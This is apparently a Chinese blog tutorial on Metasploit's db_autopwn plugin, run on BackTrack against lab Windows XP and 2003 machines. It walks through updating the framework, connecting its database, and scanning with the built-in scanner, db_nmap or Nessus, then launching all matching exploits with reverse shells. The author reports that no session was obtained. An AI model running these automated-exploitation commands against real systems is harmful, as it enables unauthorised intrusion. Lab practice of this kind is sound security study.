初探Metasploit的自动攻击
这篇文章来得有点晚,竟然比初探Meterpreter还晚
总之就是见谅了,理论上应该得比它早发出来的
本文很坎坷,因为考研耽误了几天。。
因为生病耽误了几天。。
因为朋友来找我玩耽误了几天。。
事先说明,本文实在BT5r3下实现的
很抱歉,没get shell,不过介绍手法这一目的应该达到了。
==================================================================
1. 科普Metasploit
2. 更新Metasploit
- =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
- + -- --=[ 927 exploits - 499 auxiliary - 151 post
- + -- --=[ 251 payloads - 28 encoders - 8 nops
4.9版本的:
- =[ metasploit v4.9.0-dev [core:4.9 api:1.0]
- + -- --=[ 1251 exploits - 682 auxiliary - 201 post
- + -- --=[ 326 payloads - 32 encoders - 8 nops
- 1. apt-get update——>更新源列表
- 2. cd /opt/metasploit后,删除原先的msf3:rm -rf msf3
- 3. git clone --depth=1 git://github.com/rapid7/metasploit-framewok msf3 最后的msf3是我们重新在原来的位置重建msf3
- 4. 修改配置文件:
- 32位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb
- 64位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/x86_64-linux/rbconfig.rb
- 定位 CONFIG["LIBRUBYARG_STATIC"] = "-W1, -R, W1, $(libdir) -L$(libdir) -1$(RUBY_SO_NAME)-static"
- 后,删掉 -1$(RUBY_SO_NAME)-static部分
- 4. 进入msf3下,运行./msfupdate等待完成即可
注事事项:
- 1.如果在git那一步,出错,说找不到msf,可能是网络连接不好,本人亲自去github看了下,发现是存在的,后来10分钟后连续敲了相同的命令,clone成功。
- 2.可能会遇到bundle install 的问题,ruby版本不对,没关系,请按照上面的步骤来,就可以了。
3. 开启Metasploit
- root@bt:~# cd /opt/metasploit/msf3
- root@bt:/opt/metasploit/msf3# msfconsole
4. 连接数据库
- msf < cat /opt/metasploit/config/database.yml
- [*] exec: cat /opt/metasploit/config/database.yml
- #
- # These settings are for the database used by the Metasploit Framework
- # unstable tree included in this installer, not the commercial editions.
- #
- development:
- adapter: "postgresql"
- database: "msf3dev"
- username: "msf3"
- password: "4bfedfc2"
- port: 7337
- host: "localhost"
- pool: 256
- timeout: 5
- production:
- adapter: "postgresql"
- database: "msf3dev"
- username: "msf3"
- password: "4bfedfc2"
- port: 7337
- host: "localhost"
- pool: 256
- timeout: 5
- msf > db_connect msf3:[email protected]:7337/msf3dev
- msf > creds
- Credentials
- ===========
- host port user pass type active?
- ---- ---- ---- ---- ---- -------
- [*] Found 0 credentials.
- msf >
creds 是查看数据库的命令。
那么是配置问题,这么修改即可:
- vi /opt/metasploit/msf3/msfconsole
- change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.
- deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe
- # 添加软件源
- sudo apt-get install postgresql
- sudo apt-get install rubygems libpq-dev
- apt-get install libreadline-dev
- apt-get install libssl-dev
- apt-get install libpq5
- apt-get install ruby-dev
- sudo apt-get install libpq-dev
- sudo gem install pg
如果不会操作数据库:
- passwd postgres 修改postgres密码
- su postgres 进入数据库
- createuser xxx -P 创建xxx用户(然后输入密码,Y/N一直选择N即可)
- createdb --owner=user xxx 创建一个XXX数据库
- psql xxx 进入xxx数据库
- psql -l 列出数据库
- dropuser 删除用户
- dropdb 删除数据库
5. 载入和使用db_autopwn
5.0 载入db_autopwn
- /opt/metasploit/msf3/plugins/db_autopwn.rb
- load db_autopwn
- db_autopwn -r -p -t -e
-p 是更加端口来搞
- ERROR: NoMethodError undefined method `range_include?‘
5.1 msf自带扫描器+db_autopwn
- 下载:db_autopwn.rb
- 放到~/Desktop下
- 在终端:
- root@bt:~/Desktop# cp db_autopwn.rb /opt/metasploit/msf3/plugins/
- 在msf:
- msf > load db_autopwn
- msf > db_autopwn -h
- -h Display this help text
- -t Show all matching exploit modules
- -x Select modules based on vulnerability references
- -p Select modules based on open ports
- -e Launch exploits against all matched targets
- -r Use a reverse connect shell
- -b Use a bind shell on a random port (default)
- -q Disable exploit module output
- -R [rank] Only run modules with a minimal rank
- -I [range] Only exploit hosts inside this range
- -X [range] Always exclude hosts inside this range
- -PI [range] Only exploit hosts with these ports open
- -PX [range] Always exclude hosts with these ports open
- -m [regex] Only run modules whose name matches the regex
- -T [secs] Maximum runtime for any exploit in seconds
- msf > use auxiliary/scanner/portscan/tcp
- msf > show options #看看那还需要设置什么
- msf > set RHOSTS 192.168.0.113 #113这台机器是win2003,只打了9个补丁,很纯净
- msf > set THREADS 8 #设置线程数8
- msf > run #开启端口扫描
- msf > db_autopwn -t -r -p -e #-r 反弹shell -p 根据ports来搞 -t 显示全部modules -e 开搞
不得不吐槽一下,就这个msf自带扫描器+自动化攻击,连个只打了9个补丁的win2003都拿不下。
5.2 db_nmap + db+autopwn
- hosts -d
- db_nmap -T Aggressive -n -A -v ip
- msf> hosts -d
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.1 34:08:04:0B:70:E8 Unknown device
- 192.168.0.104 CC:78:5F:84:64:27 Unknown device
- 192.168.0.105 EC:A8:6B:86:9A:5E Unknown device
- 192.168.0.108 Unknown device
- 192.168.0.110 44:37:E6:A0:96:79 Unknown device
- 192.168.0.112 00:0C:29:A3:56:29 Unknown device
- [*] Deleted 6 hosts
- msf> hosts
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- msf> db_nmap -sS -A -T4 192.168.0.112
- [*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2014-01-08 13:51 CST
- [*] Nmap: Nmap scan report for 192.168.0.112
- [*] Nmap: Host is up (0.00047s latency).
- [*] Nmap: Not shown: 997 closed ports
- [*] Nmap: PORT STATE SERVICE VERSION
- [*] Nmap: 135/tcp open msrpc Microsoft Windows RPC
- [*] Nmap: 139/tcp open netbios-ssn
- [*] Nmap: 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
- [*] Nmap: MAC Address: 00:0C:29:A3:56:29 (VMware)
- [*] Nmap: Device type: general purpose
- [*] Nmap: Running: Microsoft Windows XP
- [*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp
- [*] Nmap: OS details: Microsoft Windows XP SP2 or SP3
- [*] Nmap: Network Distance: 1 hop
- [*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
- [*] Nmap: Host script results:
- [*] Nmap: |_nbstat: NetBIOS name: EMASTER-A2C3258, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:56:29 (VMware)
- [*] Nmap: | smb-security-mode:
- [*] Nmap: | Account that was used for smb scripts: guest
- [*] Nmap: | User-level authentication
- [*] Nmap: | SMB Security: Challenge/response passwords supported
- [*] Nmap: |_ Message signing disabled (dangerous, but default)
- [*] Nmap: |_smbv2-enabled: Server doesn‘t support SMBv2 protocol
- [*] Nmap: | smb-os-discovery:
- [*] Nmap: | OS: Windows XP (Windows 2000 LAN Manager)
- [*] Nmap: | Computer name: emaster-a2c3258
- [*] Nmap: | NetBIOS computer name: EMASTER-A2C3258
- [*] Nmap: | Workgroup: WORKGROUP
- [*] Nmap: |_ System time: 2014-01-08 13:51:25 UTC+8
- [*] Nmap: TRACEROUTE
- [*] Nmap: HOP RTT ADDRESS
- [*] Nmap: 1 0.47 ms 192.168.0.112
- [*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
- [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds
- msf> hosts
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.112 00:0C:29:A3:56:29 Microsoft Windows XP device
- msf> db_autopwn -p -t -r -e
额,这个依旧是 0 sessions!
5.3 Nessus+db_autopwn
- #启动nessus服务
- root@bt:~# /etc/init.d/nessusd start
- #启动apache服务
- root@bt:~# /etc/init.d/apache2 start
- #进入nessus页面
- 通过https://bt:8834或者https://127.0.0.1:8834访问。
- 注意是https。https://localhost:8834是访问不了的。
- 密码:root/toor
- 1、新建一个要扫的内容策略如:basic scan(Policy)
- 2、new scan
- 3、export 结果到1.nessus
- msf> hosts -d
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.112 00:0C:29:A3:56:29 192.168.0.112 Microsoft Windows XP device
- [*] Deleted 1 hosts
- msf> db_import /root/Desktop/1.nessus
- [*] Importing ‘Nessus XML (v2)‘ data
- [*] Importing host 192.168.0.112
- [*] Successfully imported /root/Desktop/1.nessus
- msf> hosts
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.112 00:0C:29:A3:56:29 192.168.0.112 EMC CLARiiON AX150SCi SAN Disk Array device
- msf> db_autopwn -p -r -t -e
好吧,这么强大的扫描器和这么强大的利用平台,结合在一起,是0 sessions,只能证明我太傻比了,还不会灵活应用。
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。